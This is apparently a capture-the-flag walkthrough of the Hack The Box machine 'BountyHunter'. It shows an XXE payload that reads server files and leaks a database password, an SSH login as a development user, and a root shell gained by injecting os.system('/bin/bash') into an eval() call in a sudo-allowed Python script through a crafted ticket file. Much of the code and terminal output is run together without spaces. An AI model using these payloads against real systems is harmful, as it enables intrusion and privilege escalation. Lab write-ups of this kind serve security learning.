So, the first thing we should try is XXE injection,
XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access.
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]><foo><result>∾</result></foo>
Now we got Base64 encoded data. When we decode it,
<?php// TODO -> Implement login system with the database.$dbserver ="localhost";$dbname ="bounty";$dbusername ="admin";$dbpassword ="m19RoAU0hP41A1sTsq6K";$testuser ="test";?>
We got some credentials from db.php, Let's look at /etc/passwd.
In /etc/passwd , we found development user, let login ssh with that account.
Getting User
┌─[sheinn101@parrot]─[~/htb/bountyhunter]└──╼ [??]$ ssh development@10.10.11.100development@10.10.11.100's password: Welcome to Ubuntu 20.04.2LTS (GNU/Linux 5.4.0-80-generic x86_64)* Documentation: https://help.ubuntu.com* Management: https://landscape.canonical.com* Support: https://ubuntu.com/advantage System information asofSat20Nov202104:35:49AMUTC System load:0.0 Processes:217 Usage of/: 24.3%of 6.83GB Users logged in:0 Memory usage:15% IPv4 address for eth0:10.10.11.100 Swap usage:0%0 updates can be applied immediately.The list of available updates is more than a week old.To check for new updates run: sudo apt updateFailed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settingsLast login: Sat Nov 2004:03:302021 from 10.10.14.32development@bountyhunter:~$ cat user.txt 032eb5574********42d5121f9cd7development@bountyhunter:~$
Privilege Escalation
Always try sudo first
development@bountyhunter:~$ sudo -lMatching Defaults entries for development on bountyhunter: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser development may run the following commands on bountyhunter: (root) NOPASSWD:/usr/bin/python3.8/opt/skytrain_inc/ticketValidator.pydevelopment@bountyhunter:~$
ticketValidator.py
#Skytrain Inc Ticket Validation System 0.1#Do not distribute this file.defload_file(loc):if loc.endswith(".md"):returnopen(loc, 'r')else:print("Wrong file type.")exit()defevaluate(ticketFile):#Evaluates a ticket to check for ireggularities. code_line =Nonefor i,x inenumerate(ticketFile.readlines()):if i ==0:ifnot x.startswith("# Skytrain Inc"):returnFalsecontinueif i ==1:ifnot x.startswith("## Ticket to "):returnFalseprint(f"Destination: {' '.join(x.strip().split(' ')[3:])}")continueif x.startswith("__Ticket Code:__"): code_line = i+1continueif code_line and i == code_line:ifnot x.startswith("**"):returnFalse ticketCode = x.replace("**", "").split("+")[0]ifint(ticketCode)%7==4: validationNumber =eval(x.replace("**", ""))if validationNumber >100:returnTrueelse:returnFalsereturnFalsedefmain(): fileName =input("Please enter the path to the ticket file.\n") ticket =load_file(fileName)#DEBUG print(ticket) result =evaluate(ticket)if (result):print("Valid ticket.")else:print("Invalid ticket.") ticket.closemain()
This code check for a file with .md extension, so create .md file and if the condition is true that code open the file search for the next condition, when we wrote the code as given conditions in the code ,we will get a ticket file like below. we can add os.system() in the last condition to pop up a root shell.
Now our exploit .md file will look like this.
# Skytrain Inc## Ticket to root __Ticket Code:__**102+10==112and__import__('os').system('/bin/bash')==False
Run ticketValidator.py as root and enter our file name, now we got a shell as root.
development@bountyhunter:/tmp$ sudo /usr/bin/python3.8/opt/skytrain_inc/ticketValidator.pyPlease enter the path to the ticket file.file.mdDestination: rootroot@bountyhunter:/tmp# cdroot@bountyhunter:~# cat root.txt7680b0e88e*******5b16552d0a5droot@bountyhunter:~#